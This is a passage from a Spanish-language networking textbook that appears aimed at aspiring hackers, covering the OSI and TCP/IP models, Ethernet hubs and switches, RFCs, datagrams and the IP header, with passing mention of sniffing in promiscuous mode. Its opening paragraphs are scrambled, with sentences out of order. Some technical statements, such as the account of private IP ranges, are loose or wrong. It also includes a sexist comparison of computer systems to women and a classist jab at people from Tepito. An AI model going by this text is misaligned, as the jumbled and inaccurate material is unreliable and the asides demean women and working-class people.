estándares es la ISO y en 1983 sus miembros aprobaron el modelo OSI (Open System Interconnection). se debe indagar en un nivel inferior para buscar la raíz de lo que lo provoca. etc. y cada nivel. un poco más elaborado. capas o módulos. A cada nivel inferior le toca más trabajo y aun más responsabilidad. Se han solucionado un montón de problemas y solo nos dedicaremos a lo que realmente nos importa. Por ejemplo. tanto en programación como la hora de diseñar un protocolo. nos preocuparíamos por recoger la señal del teclazo. Esto les permite sólo preocuparse de los problemas que puedan aparecer en su mismo nivel y devolver el control. ahora convertido en algo más simple. es de lo más común en Internet. Los sistemas informáticos pueden ser comparados con una mujer: Hermosa y delicada.

Por esta razón. Windows es un sistema operativo muy tendente a mimar a los usuarios. Es por eso que un usuario experto prefiera otro tipo de sistema que le permita ejecutar cualquier tipo de acción de modo conciente y bajo su propia responsabilidad. La interfaz de una capa les dice a los procesos de arriba cómo acceder a ella. 53 . por lo que no se orientó hacia un conjunto específico de protocolos. las interfaces y los protocolos. realizan todo ese trabajo.Cada capa debe realizar una función bien definida.Los límites de las capas deben elegirse a modo de minimizar el flujo de información a traves de las interfaces. hay más trabajo esperando ya que los pasos implicados son más pequeños. Cada capa presta algunos servicios a la capa que se encuentra encima de ella. En el modelo OSI existen tres conceptos que son fundamentales: Los servicios. también las maquinas conectadas a Internet se comunican en su propio idioma.. es decir. entre las computadoras también se establece un tipo de “comunicación” especial. siempre que consiga que se realice el trabajo. La definición de servicio dicta lo que la capa hace.La cantidad de capas debe ser suficiente para no tener que agrupar funciones distintas en la misma capa y lo bastante pequeña para que la arquitectura no se vuelva inmanejable.cambien a Linux en cualquiera de sus distros o versiones. Finalmente. En las redes. liberándonos del trabajo tedioso. Podemos comparar la comunicación en las redes con la comunicación verbal humana ya que los términos son muy abstractos. los programas de usuario. como la etiqueta. sistemas que estan abiertos a la comunicación con otros sistemas. o sea. lo cual lo convirtió en algo muy general. arquitectos que hablan su propia jerga. De este modo pueden controlar la máquina: bajando niveles. En materia de redes. Comenzaremos por el nivel más inferior.. Les arrebata el control del sistema. que provea los servicios que ofrece.. 2. las aplicaciones.Los hackers siempre deben bajar niveles para poder solucionar problemas. el modelo OSI definió 7 capas o niveles orientativos en los que deberían basarse y ajustarse todos los diseñadores informáticos de redes a nivel globalizado. para que todos los involucrados se puedan entender y los mensajes puedan llegar de manera adecuada a la persona correcta. Ésta es la razón por la que muchas personas que se han encontrado inconformes con su sistema operativo actual -léase Windows. indagar y trastocar el nivel superior. El modelo se conoce con el nombre de Modelo de Referencia OSI (Open Systems Interconnection -Interconexión de Sistemas Abiertos) puesto que se ocupa de la conexión de sistemas abiertos. Detalles de las Capas Es de gran utilidad aprenderse todas las capas. así logran aprovecharse de los programas o pueden conocer como funcionan las redes. no como funciona. 3. a este procedimiento de trabajo se le conoce como Descender al Hades. porque de ese modo no se hará complicado comprender los siguientes temas. como los cirujanos. El modelo OSI se desarrolló antes de que se inventaran los protocolos. Por otra parte. Ésta puede usar los protocolos que quiera. Al igual que con los profesionales. 4. Los principios que se aplicaron para llegar a las siete capas son los siguientes: 1. qué hace cada una de ellas y sus características relevantes.La función e cada capa se debe escoger pensando en la definición de protocolos estandarizados. siempre bajando niveles.... Debemos recordar que toda comunicación hablada entre dos o más personas requiere que utilicemos reglas básicas que deben ser respetadas. Pero hay que recordar que mientras más se baje por los niveles. los protocolos son asunto de la capa.

Capa Física (Physical) Es la capa (también llamada nivel) que tiene que ver con la transmisión de bits por un canal de comunicación. Solventa: La capa de enlace evita por ciertos mecanismos que un transmisor muy rápido sature a un receptor muy lento. Capa de Red (Network) Objetivo: Controlar las operaciones de posibles subredes que se encuentren entre las redes. etc. Cable. tomando decisiones sobre rutas y enviando paquetes a nodos que no están directamente conectados. El paquete es una unidad de transmisión que consiste en información binaria (de 0s y 1s) que representan los datos. La capa de enlace de datos depende del tipo de conexión que se tenga. un teléfono o cualquier otro sistema. eléctrica y de procedimientos. y con el medio de transmisión físico que está bajo la capa física. la capa de red debe conocer la topología de la subred de comunicaciones. la velocidad con que las emitimos para que puedan ser entendidas según el medio y el interlocutor. Objetivo: crea y reconoce tramas (o ráfagas) de bits que la capa física produce.25 Solventa: La capa de red se encarga de encaminar los paquetes desde el punto de origen al destino. Establece un patrón que indique. Capa de Enlace de Datos (Data Link) La tarea principal de esta capa es tomar un medio de transmisión en bruto y convertirlo en una línea que aparezca libre de errores de transmisión no detectados a la capa de red. capaz de comunicarse con otros dispositivos de la misma. Esta tarea la cumple al hacer que el emisor divida los datos de entrada en marcos de datos (frames -normalmente unos cientos o miles de bytes). DSL. 54 . Llegar al destino puede requerir de muchos saltos por routers intermedios y es una función que realmente contrasta con la de la capa de enlace de datos. y escoger las trayectorias adecuadas a través de ella. es responsabilidad de la capa de red la gestión de estas diferencias y la resolución de problemas que causan En una comunicación entre tres personas. Puede ser el aire. Para lograr su objetivo. se puede comparar con el hecho de dirigir lo que se quiere decir al interlocutor adecuado o incluso enviar mensajes a través de unas personas a otra gente que no se conoce. que transmita los datos en forma secuencial y procese los marcos de acuse de recibo que devuelve el receptor. por ejemplo. etc. es decir. Objetivo: Las consideraciones de diseño tienen que ver con la acción de asegurarse de que cuando de un lado se envíe un bit 1. Cuando el origen y destino se encuentran en redes diferentes. Un nodo es un dispositivo conectado a la red. que un bit no es un dato en sí. el grupo de routers. Solventa: los voltios necesarios para representar un bit. Aquí las consideraciones de diseño tienen mucho que ver con las interfaces mecánica. Esta capa es la llamada IP. los microsegundos que debe durar el envío. Lo importante es que cada sonido que se emita al hablar sea finalmente escuchado por nuestro interlocutor. Un ejemplo de protocolo de esta capa es X. se reciba real y exactamente del otro lado como bit 1 y no como bit 0. sino una indicación de fin de trama. Identifica las distintas maquinas para que estas puedan diferenciarse unas de otras y mantener así las comunicaciones separadas. Esto se puede comparar con las palabras que uno usa. Se puede comparar con el medio que usamos para hablar con otra persona. Regula el tráfico de datos para que el transmisor sepa cuánto espacio de almacenamiento temporal (búfer) tiene el receptor en ese momento.

Capa de Sesión (Session) Objetivo: que los usuarios de diferentes máquinas puedan establecer sesiones entre ellos. el concepto total de los protocolos en capas carecería de sentido. establecería el “orden” en el que se comunican los interlocutores para poder hablar entre sí sin solaparse. Ésta es la capa TCP y es el núcleo de la jerarquía completa de protocolos. Otro servicio es el de sincronización. Solamente el lado que posea la ficha podrá efectuar la operación crítica. si la conexión de transporte requiere un volúmen de transmisión demasiado alto. Solventa: controlar los “diálogos”. Para lograr su objetivo. Siguiendo la analogía de la comunicación humana. después de abortar. Una sesión permite el transporte ordinario de datos. independientemente de la red o redes físicas en uso. También que el tráfico vaya en ambas direcciones o sólo en una. Solventa: las diferencias de implementación entre los distintos dispositivos físicos (tarjetas. Para algunos protocolos es esencial que ambos lados no intenten la misma operación al mismo tiempo. Podría compararse con el lenguaje. la capa de transporte podría crear múltiples conexiones de red. la capa de transporte crea una conexión de red distinta para cada conexión de transporte que requiera la capa de sesión. Las sesiones pueden permitir que el tráfico vaya en ambas direcciones al mismo tiempo. A través de una sesión se puede llevar a cabo un transporte de datos ordinario. Sin embargo. la capa de sesión puede llevar el control de los turnos. Cada transferencia. Se podría usar una sesión para que un usuario se conecte a una máquina remota o para transferir un archivo entre dos máquinas. o solo en una dirección a la vez. Algunos libros llaman a esta capa de transportación. Un servicio de sesión relacionado es el manejo de fichas (tokens). Su función básica es aceptar los datos de la capa de sesión. pero también proporciona servicios mejorados que son útiles en algunas aplicaciones. entendido por las dos personas independientemente de su nacionalidad. por ejemplo. sexo o diferencias físicas. La meta fundamental de esta capa es proporcionar un transporte de datos confiable y económico desde la máquina de origen a la máquina de destino. Consideremos los problemas que pueden surgir cuando tratamos de efectuar una transferencia de archivos de dos horas de duración entre dos máquinas que tienen un tiempo medio entre rupturas de 1 hora. Uno de los servicios de esta capa es manejar el control del diálogo. estableciendo conversaciones. de modo que tras cada interrupción solo se repitan los datos transferidos después del último punto de verificación (check point). tendría que empezar de nuevo desde cero y probablemente fallaría de nuevo la siguiente vez. la capa de sesión proporciona fichas que se pueden intercambiar. Para eliminar este problema. El hardware o el software de la capa de transporte que se encarga del trabajo se conoce como entidad de transporte y se puede encontrar en el núcleo (kernel) del sistema operativo. 55 . A fin de controlar estas actividades. Si el tráfico puede ir en un solo sentido (como con las vías del ferrocarril). la capa de sesión ofrece una forma de insertar puntos de verificación en la corriente de datos. durante un instante dado según se requiera. dividiendo los datos entre las conexiones para aumentar el volúmen. Sin la capa de transporte.Capa de Transporte (Transport) Objetivo: aísla las diferencias de hardware entre la capa de red y la de sesión. pasarlos a la capa de red y asegurar que todos los pedazos lleguen correctamente al otro extremo. como lo hace la capa de transporte. En condiciones normales. Network Interface Card o tarjeta Ethernet ). dividirlos en unidades más pequeñas si fuera necesario. en un proceso de usuario independiente o en un paquete de librería que forma parte de las aplicaciones de la red o en la tarjeta de interfaz de la red (NIC. la capa de transporte hace uso de los servicios proporcionados por la capa de red.

la búsqueda en directorios y otros recursos de uso general y particular. La capa de aplicación solventa este tipo de problemas. Otra función de la capa de aplicación es la transferencia de archivos. La mayoría de los programas de usuario no intercambian cadenas de bits al azar. enteros. signos de puntuación. números. por lo que esta capa supondría el más alto nivel. Existen cientos de terminales en el mundo que son incompatibles. Solventa: entre otros. cantidades de punto flotante y estructuras de datos compuestas de varios elementos más simples. La capa de presentación realiza ciertas funciones que se piden con suficiente frecuencia para justificar la búsqueda de una solución general. 14American Standard Code for Information Interchange" (Estándar Americano de Codificación para el Intercambio de Información) Conjunto  de normas de codificación de caracteres mediante caracteres numéricos. la presentación de la información en formato ASCII14. Capa de Aplicación (Application) Objetivo: proporcionar una interfaz sencilla al usuario. que éstas sean lógicas para que puedan ser interpretadas por los interlocutores. etc. Los diferentes sistemas de archivos tienen diferentes convenciones para nombrar los archivos. formas distintas de representar líneas de texto. que es un esquema de codificación que permite asignar valores numéricos hasta 256 caracteres. Se podría comparar con el hecho de hablar correctamente. Las diferentes computadoras tienen códigos diferentes para representar cadenas de caracteres (por ejemplo ASCII y UNICODE). incluyendo letras. Con el fin de hacer posible la comunicación entre computadoras con representaciones diferentes. intercambian cosas como fechas. mover el cursor. secuencias de escape para insertar y eliminar texto. la carga remota de trabajos. Como cuando una persona tiene que “bajarse” de nivel cultural para comunicarse con un chilango de Tepito: “¿Qu’iubo mi valedor. A diferencia de las demás capas que solo se interesan en mover bits de aquí para allá. Las capas por debajo de la de aplicación están ahí para proporcionar un transporte confiable. por ejemplo. La transferencia de archivos entre dos sistemas diferentes requiere la resolución de éstas y otras incompatibilidades. Este trabajo también pertenece a la capa de aplicación. el uso y entendimiento de. lo mismo que el correo electrónico. Un ejemplo de servicio es la codificación de datos en una forma estándar acordada. nombres de personas. de amplia utilización en informática y telecomunicaciones. construir frases que puedan ser entendidas. que’pazotes con los elotes?” Imaginemos la situación de un editor de pantalla completa que debe trabajar en una red con muchos tipos diferentes de terminales. 56 . en lugar de dejar al usuario solo para que resuelva los problemas. frases hechas que tienen sentido sólo en ese momento y entre interlocutores. la capa de presentación se ocupa de la sintaxis y la semántica de la información que se transmite. cada uno con formatos diferentes de pantalla. Contiene la variedad de protocolos existentes. La capa de presentación maneja estas estructuras de datos abstractas y las convierte de la representación que se usa dentro de la computadora a la representación estándar de la red y viceversa. Solventa: los hace compatibles entre ellos. enteros y demás. etc. Estos elementos se presentan como cadenas de caracteres. las estructuras de datos por intercambiar se pueden definir en forma abstracta junto con un código estándar. etc. pero no hacen un verdadero trabajo para los usuarios. caracteres de control y otros símbolos.Capa de Presentación (Presentation) Objetivo: los aspectos “semánticos” y “sintácticos” de la información que se transmite. cantidades de dinero.

Que maneja los nombres de Internet. De alguna manera. Esto es porque el cable soluciona la capa física: a los otros niveles nada les importa si es coaxial o RJ-45 mientras el problema se resuelva y que los bits sean transmitidos y lleguen en paz y bien a su destino. La misión de esta capa es permitir que los nodos inyecten paquetes en cualquier parte de la red y los hagan viajar de manera independiente a su destino (que podría estar en una red diferente). Las capas de el modelo TCP/IP son La Capa de Interred. que no usa algunas de las capas que la OSI “recomienda”. sino una gran colección de conceptos y protocolos que pueden usarse para asegurar la confidencialidad donde sea necesaria. el protocolo para recuperar páginas en la World Wide Web y muchos otros. DNS. el protocolo determina con su diseño los objetivos. HTTP. Las capas de enlace y física en este modelo prácticamente son iguales. Administración de la red. La capa de aplicación contiene todos los protocolos de alto nivel. Capa de Aplicación. un protocolo confiable orientado a la conexión que permite que una corriente de bytes originada en una máquina se entregue sin dificultades a cualquier otra máquina de la interred. en una red casera. corresponde a las capas superiores reacomodarlos. Que sería el último protocolo de apoyo de la capa de aplicación. Aquí se definieron dos protocolos de extremo a extremo. Esta capa se diseñó para permitir que las entidades pares en los nodos de origen y destino lleven a cabo un diálogo (igual que en la capa de transporte de la OSI). Entre los protocolos más antiguos están el de terminal virtual (TELNET). El segundo protocolo de esta capa es el UDP (User Datagram Protocol. el de transferencia de archivos (FTP) y el de correo electrónico (SMTP). por ejemplo. Son por estas consideraciones que el modelo TCP/IP es muy parecida en funcionalidad a la capa de red OSI. Ambos protocolos los revisaremos en sus respectivos capítulos. Los paquetes pueden llegar en orden diferente a aquel en que se enviaron. El primero es el TCP (Transmission Control Protocol. Aquí la consideración más importante es el ruteo de los paquetes y también evitar la congestión. Que en realidad no es solo un protocolo. que ya están conseguidos con las de aplicación y de transporte. Intercambiar un cable coaxial por un RJ-45 (parecido al del teléfono) no requiere mas que enchufar uno u otro. Protocolo de Datagrama de Usuario) que es un protocolo no orientado a la conexión. A través del tiempo se le han añadido muchos otros protocolos como el servicio de nombres de dominio (DNS). Esta forma de aislar los problemas en capas hace posible que. El modelo TCP/IP no posee capas de sesión ni de presentación ya que se pensó que no serían necesarias ya que se utilizan muy poco en la mayor parte de las aplicaciones. Capa de Transporte. en el modelo TCP/IP no están presentes las capas de presentación ni de sesión. Tres de ellos son: Seguridad en la red. La capa de interred define un formato de paquete y protocolo oficial llamado IP (Internet Protocol). Modelo de referencia TCP/IP Todo lo anteriormente platicado es tan solo en teoría y algo en que apoyar nuestro estudio. en cuyo caso.En la capa de aplicación se requieren de protocolos de apoyo que permitan el funcionamiento de las aplicaciones reales. no sea necesario realizar ningún cambio a nivel software si se sustituye el tipo de cableado. El modelo de referencia TCP/IP es un protocolo basado en este modelo de división. El trabajo de la capa de interred es entregar paquetes IP a donde se supone que deben llegar. Por ejemplo. Es el eje que mantiene unida toda la estructura. 57 . Protocolo de Control de Transmisión).

en inglés) que todo el mundo considera igualmente como suya. se configura según las especificaciones y éste comienza a funcionar sin más. Existe también una dirección especial de nombre Broadcast (difusión. En este caso. Cuando un nombre es leído. al que se conectan varias computadoras que comparten un único medio de transmisión. Si se envía información donde en el campo destinatario aparezca la dirección broadcast (es un estándar. 58 . pero solo aquella persona que tiene ese nombre puede recoger la carta. Al final. Tipos de Ethernet Es importante hacer la distinción entre los dos tipos básicos de ambientes de Ethernet. La principal ventaja de Ethernet es que para agregar un nuevo dispositivo a la red. dejan pasar la información. igual en todas las redes). Los soldados escuchan atentamente esperando escuchar su nombre. los hubs permiten un dominio de difusión sencillo. los distintos protocolos se encargarán de hacerla llegar a su destino legítimo. El primer ambiente es el llamado Ethernet compartida donde los cables de Ethernet de la LAN convergen en un hub o hubs. no nada más al que está destinado. la persona que reparte las cartas es el hub. mientras que las personas que esperan la correspondencia son las estaciones de trabajo en la LAN. Si lo son. La manera en que el tráfico es dirigido en este tipo de red puede compararse a la forma en que el correo se entrega en los campos militares. una LAN Ethernet consta de un cable coaxial llamado éter. la información viaja por la red llegando a cada computadora de la red. En teoría. lo que en realidad sucede es que de toda la información que les llega. El protocolo de Ethernet es la manera más usual de conectar computadoras cercanas y trabaja enviando la información en paquetes a las máquinas de la red. Al utilizar una Ethernet compartida. Sin embargo. lo que significa que si la computadora A desea enviar información a la computadora B. Se caracteriza por el uso de una sola línea de comunicación (aunque no tiene por que ser un solo cable) por el que circula toda la información. los paquetes de información (en caso de no encontrarse en segmentos distintos) llegan a todos los dispositivos. el verdadero destinatario. comprueban si son o no. Se añade. recogen la información y la procesan. todos lo escuchan. Todas las computadoras ignorarán los datos a excepción de B que es a quien van dirigidos. pudiéndose comunicar con cualquier otro dispositivo ya enlazado en la red. todos los sistemas interpretarán que la información es para ellos. no hace falta realizar ni un solo cambio. Una persona se para frente a todos los reclutas y comienza a leer los nombres que aparecen en las cartas. En una red Ethernet.Protocolo de Ethernet En los 70s nació el tipo de red local más usado: el Ethernet. Si no lo son.

Esto se debe a que los switches aislan el tráfico de esta manera. cada conexión Ethernet se convierte en una conexión de host aislado entre la computadora y el switch. Esto es análogo al cartero que va directamente a la casa con el número que viene escrito en la carta. el cartero representa al switch mientras que las casas son las computadoras o estaciones de trabajo. el capturar tráfico que no está destinado a nuestra propia computadora requiere software especial que veremos en el capítulo que trata sobre sniffers. y que repasaremos más adelante. es más fácil hacerlo en una Ethernet compartida que en una de tipo conmutada. Véase la figura de abajo. si reemplazamos los hubs por switches (conmutadores). En las redes segmentadas. El switch le sigue la huella a cada computadora por medio de su dirección MAC y al final entrega la información destinada a esa computadora específica a través del puerto que está conectado a esa computadora. Ya no es tan fácil simplemente poner la tarjeta de red en modo promiscuo (que es el modo en que las tarjetas de red pueden aceptar todo el tráfico inclusive el que no va dirigido a ellas) debido a que el switch solo moverá el tráfico a la computadora con la tarjeta de red individual de ella. En este ejemplo. El switch mantiene una tabla de información que mapea el puerto sobre el switch a la dirección MAC de la computadora que está conectada en cada puerto del switch Con las herramientas adecuadas. donde podemos apreciar cómo el switch entrega el tráfico de y hacia las computadoras dentro del segmento Figuras hechas por Lora Danielle 59 . Cuando se quiere poner un sniffer.Ethernet por Switches (conmutada) En contraste. se puede obtener toda la información de la red. sin importar a quien va dirigida en último lugar.

uno dice “hola” el otro contesta “hola.rfc-editor.) Todos los RFC pueden ser encontrados en www. se creará una nueva versión con las mejoras. Es un protocolo de servidor a servidor. Ésta una forma común de publicar nuevas ideas para protocolos o procedimientos para su evaluación por parte de la comunidad de Internet. He mencionado anteriormente que las maquinas deben hablar su propio idioma. mejorándolo. Crear un protocolo es una labor no carente de dificultad. pero nunca se cambiarán las que ya tienen denominación de estándar. las aplicaciones tratan de adherirse a sus lineamientos lo más posible una vez que han sido aprobados por la comunidad. se considera que el protocolo está maduro. etc. que cuando una entidad decide crear uno (como HTTP o FTP). si no que existen normas a seguir ante ciertos comportamientos. Existen tantos aspectos a tratar. Para facilitar la comunicación entre las maquinas es necesario separar por capas las comunicaciones. aportando ideas. los seres humanos solemos ser más flexibles según la situación que enfrentemos. alguien define las líneas generales y las hace públicas en Internet. necesita a su vez de los comentarios de cientos de expertos en todo el mundo. Tú te despides y tu interlocutor se despide también. Tú hablas mientras la otra persona espera a que termines para contestar. De este modo. hasta que después de meses (a veces años). de tal manera que para acceder a los mensajes  es preciso utilizar otros protocolos. enviar correo (SMTP15) y mostrar páginas web (http). Aunque no se note. Microsoft. y los lenguajes que utiliza cada máquina apoyándose en TCP/IP son los que permiten las diversas tareas. Mayor información acerca de los RFC se puede encontrar en su página oficial. Tú saludas.org y son de naturaleza muy técnica. como ya dije. la otra persona saluda como respuesta. En muy pocas ocasiones se requerirá modificar las especificaciones. Cuando saludamos a alguien existe un protocolo social a seguir y es mas o menos de la siguiente manera. No es que todo esto tenga que ver con los modales. uno dice “adiós”.  60 . Este idioma universal es el TCP. el resto de los expertos va probando el protocolo. el otro contesta “nos vemos mañana”. RFCs Los protocolos informáticos son definidos por documentos llamados RFC (Request For Comments -Solicitud de Comentarios). aunque lógicamente. que se usa  para transferir correo electrónico entre computadoras. De otra manera quedará aislado (excepto. como transferir archivos (FTP). RFC 821. listo para funcionar y que se puede convertir en un estándar en la industria informática. Fin de la conversación. 15SMTP Simple Mail Transfer Protocol (Protocolo Simple de Transferencia de Correo) Protocolo definido en STD 10. tendrá que acudir a los documentos que definen éstos para que sea compatible con el resto y pueda realmente funcionar.Protocolos De Red (Introducción) Es una forma de comunicación definida. ambos han seguido un conjunto de reglas: ambos hablan castellano. Los RFCs comenzaron en 1967 y aunque no son obligatorios. Todo el que quiera realizar un programa o dispositivo basado en estos protocolos. ¿cómo estás?. No todos los RFC's (en realidad muy pocos de ellos) describen estándares de Internet pero todos los estándares de Internet están escritos en forma de RFCs.

máquinas y usuarios conectados a ARPANET creció.Introducción al TCP/IP TCP/IP es un juego de protocolos diseñados para permitir a las computadoras que puedan compartir recursos sobre una red. Se usa el protocolo Telnet para lograr esto. 61 . A la serie de protocolos que describiremos a continuación. Transferencia de Archivos. Internet ha tenido cuatro aplicaciones esenciales basadas en los servicios que ofrece la implementación del modelo TCP/IP: Uso de Correo Electrónico. TCP/IP se diseñó de manera específica para gestionar la comunicación en las interredes y desde mediados de los 60s hasta hoy. (O newsgroups) son foros especializados en los que los usuarios con un interés común pueden intercambiar mensajes. Mediante el uso de Telnet u otros programas. Primero. De esta forma está disponible una cantidad impresionante de archivos para quien los necesite. a quién va dirigido el mensaje y. (Email) La capacidad de redactar. es decir. Si un mensaje es demasiado largo para un datagrama. tiene una dirección IP y es capaz de enviar paquetes de IP a todas las demás máquinas de Internet. Para comprender lo que esto significa será útil un ejemplo. este protocolo asume que existe una forma de comunicación confiable entre las dos máquinas. Da un seguimiento a lo que se envía y retransmite aquello que no haya llegado a su destino. comandos que especifican quién es el remitente. TCP es responsable de asegurar que los comandos lleguen al otro extremo de la línea. Grupos de Noticias. El correo. TCP e IP son los dos protocolos en esta suite y se describirán por separado. se ha vuelto de uso común usar el término TCP/IP para referirnos a toda la familia. Virtualmente no hay persona que tenga Internet y no posea una dirección de correo electrónico. Con el programa FTP. Sin embargo. Una situación típica es el envío de correo electrónico. Se inicia una sesión especificando la computadora con las que deseamos conectarnos. se pueden recibir o enviar archivos. es posible copiar archivos de una máquina en Internet a otra. los fabricantes y vendedores de productos para redes tienen soporte TCP/IP. al igual que con los demás protocolos de aplicación. existe un protocolo que rige el correo y que define una serie de comandos que una máquina envía a otra (por ejemplo. Sesión Remota. Dado que TCP e IP son los protocolos más conocidos. Lo que se buscaba era la manera de conectar múltiples redes usando protocolos que reemplazaran a los anteriores lo que dio nacimiento al modelo de referencia TCP/IP. se le conoce tembién como Suite de Protocolos de Internet. Fue desarrollado por una comunidad de investigadores cuando se levantaba la abuela de todas las redes. Internet es una gran colección de redes y cualquier máquina que está en Internet opera con la pila de protocolos TCP/IP. como el texto del correo. finalmente. el texto del mensaje). Tradicionalmente. simplemente define un juego de comandos y los mensajes que serán enviados. los usuarios en cualquier lugar de la Internet pueden ingresar en cualquier máquina en la que tengan una cuenta autorizada. Descripción General de Los Protocolos TCP/IP TCP/IP es una serie de protocolos en capas. TCP lo partirá en datagramas más pequeños y verificará que los pedazos lleguen correctamente. TCP/IP y su serie de protocolos se convirtió en el único protocolo oficial y es lo que mantiene unida a la Internet. la ARPANET. enviar y recibir correo electrónico ha estado disponible desde los tiempos de ARPANET y sigue aún vigente. Internet Cuando la cantidad de redes. Está diseñado para usarse con TCP/IP.

62 . si se desea transferir un archivo de 15000 octetos tenemos que muchas redes no pueden manejar un datagrama de este tamaño por lo que los protocolos lo dividen en 30 datagramas de 500 octetos. ese datagrama en especial deberá ser enviado nuevamente. y los datos son los elementos con los que deben tratar los protocolos. los datagramas pueden ser de hasta 64 Kbytes cada uno. Aunque los servicios que son suministrados por TCP son necesarios para muchas aplicaciones. La capa de transporte toma corrientes de datos y las divide en datagramas. son reensambladas por la capa de red. para comenzar una conversación entre máquina y máquina). Por otro lado.5 Kb). En tal caso. Uno puede considerar a TCP como parte de una librería de rutinas que las aplicaciones pueden usar cuando requieran comunicaciones de red confiables De la misma manera que con TCP. por lo que hay muy poca diferencia. Cada datagrama se transmite a través de Internet. Sin embargo. En teoría. Datagrama es la palabra correcta cuando se describe TCP/IP. Cada uno de estos datagramas serán enviados al otro extremo de la conexión. También existe la posibilidad de que ocurra algún error inesperado y el datagrama 81 no llegue a su meta. son de unos 1500 bytes (1. Sin embargo. existen algunos tipos de aplicaciones que no los necesitan. un protocolo como TCP que provee servicios para muchas aplicaciones IP. Hay que notar que cuando los datagramas están en camino. Estos servicios son colocados en IP. por lo general. se colocan en un protocolo separado con la finalidad de no tener que ponerlas como parte de las especificaciones para envío de correos electrónicos. que a su vez suministra el servicio básico de llevar los datagramas a su destino. Un datagrama es una colección de datos que es enviado a través de la red como un mensaje sencillo. un paquete es una cosa física.En virtud de que estas funciones son necesarias para muchas aplicaciones. pero en la práctica. Los Datagramas La información es transferida en una secuencia de datagramas. dejando el datagrama original. Cada datagrama es enviado individualmente y existen provisiones para abrir conexiones (por ejemplo. los protocolos necesarios para gestionar un medio físico específico tal como Ethernet o una línea punto a punto. en algún punto las conexiones se parten en datagramas que serán tratados por la red de manera separada. Cuando todas las piezas llegan finalmente a la máquina a que fueron destinadas. Un datagrama es una unidad de datos. hay servicios que todas las aplicaciones requieren para funcionar correctamente. pero tecnicamente hay diferencias pequeñas. Debemos notar que las palabras datagrama y paquete parecen ser términos intercambiables. Las aplicaciones TCP/IP emplean varias capas: un protocolo de aplicación tal como el correo. Este datagrama es entregado entonces a la capa de transporte que lo introduce en la corriente de entrada del proceso receptor. podemos pensar en el protocolo IP como una librería de rutinas que es invocada por TCP. En la mayoría de los casos un paquete simplemente contiene un datagrama. La comunicación en Internet funciona como sigue. pero existe. Ejemplificando. la red ni se entera que existe una conexión entre ellos y es muy probable que el datagrama 57 llegue antes que el datagrama 5. casi siempre fragmentandose en unidades más pequeñas en camino a su destino. Al llegar a su destino serán reensamblados hasta llegar a su tamaño original. que aparece en Ethernet o en algún cable.

El formato de las direcciones IP es A. Cada una tiene una dirección IP.D. En redes locales. ni tampoco en una red local direcciones distintas a las que mencioné anteriormente. es lanzado como una ristra de cambios de voltaje continuos. sufre fragmentaciones (es dividido en paquetes aún más pequeños) pero luego es re-ensamblado por la capa de transporte hasta volver a tener la constitución original.X. por ejemplo. En redes internas. se asegura que cada uno sea independiente y conozca la ruta de “memoria”. Por esa razón. si llega a perderse en el camino por interferencias o congestión de las redes. Mediante esta convención nos evitamos de problemas. 100. nunca veremos en Internet una dirección pública del tipo 192. se asignaran los números según el libre albedrío. 63 . Es el pegamento que mantiene unida la Internet y pertenece a la capa de red. En realidad la dirección IP son 32 bits. Esto en realidad tiene una estructura. impulsos que viajan por la red e identifican a los dispositivos. dejando C y D libres para poder diferenciar redes y equipos concretos dentro de las redes locales. La cabecera tiene una parte fija de 20 bytes y una porción opcional con una longitud variable.D. Se usa de este modo para no crear conflictos cuando una red tiene acceso al Internet.16. Dirección IP (IP Address) Una de las características más importantes es la manera de distinguir a las computadoras.168. Del resto de funciones ya se encargarán las otras capas más altas.IP (Protocolo de Internet) IP (Internet protocol) es el protocolo más básico de Internet y redes locales. correríamos el riesgo de producir un conflicto si queremos tener acceso a través de Internet a un host con esa misma dirección en concreto. nuestra PC no sabría si debe enviarlas a la red local o al Internet. Una red basada en TCP se puede definir realmente como un medio por el que pueden viajar paquetes del tipo IP. Así. durante el viaje. Todos los paquetes contienen toda información necesaria para llegar a su destino. Se usa para funciones internas de control de red. si el factor D corresponde a 255. Un datagrama IP. a la IP se le llama dirección de broadcast y llega a todos los equipos por igual.C.C. Esto es de esta manera porque se usan 8 bits 2^8=256 posibilidades por cada “letra”. A suele ser 192 ó 10 ó 172 y B 168 ó 0 ó 16 respectivamente. las direcciones IP en nuestra red local con.D ó 172. por convención internacional. Si en vez de seguir esta convención. y es esta dirección la que la define dentro de la gran red de Internet o entre dos o más computadoras conectadas mediante Ethernet.100. con cada “letra” en un rango entre 0 y 255..0. porque al querer dirigir paquetes. al igual que el resto de los paquetes de cualquier protocolo. al gusto del administrador de sistemas. Un paquete es enviado por la capa de transporte en diminutos paquetes de hasta 64 Kb cada uno. posiblemente.B. que agrupada de 32 en 32 bits se asemeja a lo que sigue: El datagrama IP contiene una parte de cabecera y una parte de texto.C.

Es una orden para los routers de que no fragmenten el datagrama porque el destino puede no ser capaz de juntar las piezas de nuevo. Las opciones son usadas para seguridad. depende del campo de opciones. indican si se puede trocear el paquete. Por ejemplo. a qué hora pasó el paquete por el nodo. Informan de errores. ejecutando algunas máquinas la versión vieja y otras la versión nueva. donde no se debe perder ni un solo paquete (como los comprimidos con zip o rar). Permite al host indicar a la subred que quiere. Flags and Options: Banderas y Opciones. puede indicar si es el turno del jugador A o del B. que de voz. donde no nos importaría que se pierdan algunos milisegundos de conexión a cambio de ganar en velocidad. A las banderas también se les conoce como indicadores. 64 . No es lo mismo una transferencia de archivos. Aquí se especifica cuanta fiabilidad se necesita. si es el último. excepto el último del datagrama deben tener un múltiplo de 8 bytes. Identification y Fragment Offset: Identificación y Desplazamiento del Fragmento. Por ejemplo. Son posibles varias combinaciones de confiabilidad y de velocidad. Type of Service: Tipo de servicio. Al incluir la versión en cada datagrama es posible hacer que la transición entre las versiones se lleve meses o incluso años. al arrancar la computadora. etc. Total Lenght: Longitud Total. El valor mínimo es 5 y el máximo 15. Por si son fragmentados. Es necesario para saber cuándo han llegado todos los fragmentos de un datagrama. EL desplazamiento del fragmento indica en qué parte del datagrama actual va este fragmento. En este campo existe un bit sin uso y dos campos de 1 bit (no mostrados en la figura). Len (IHL): Internet Header Length.Vamos a describir un poco la cabecera del protocolo IP: Versión: Este campo lleva la versión del protocolo a la que pertenece el datagrama. Todos los fragmentos. su ROM (Read Only Memory) podría pedir el envío de una imagen de memoria a ella como un solo datagrama. El otro bit se llama MF (More fragments -Más fragmentos) y lo llevan activo todos los fragmentos con excepción del último.. permite identificar a qué grupo pertenecen y qué posición ocupan dentro del grupo. Uno de estos campos se conoce como DF (Don't fragment -No fragmentar).. Una bandera (flag) hace referencia a un solo bit estratégico que según esté activo o no indicará que el sistema se encuentra en un caso posible entre dos 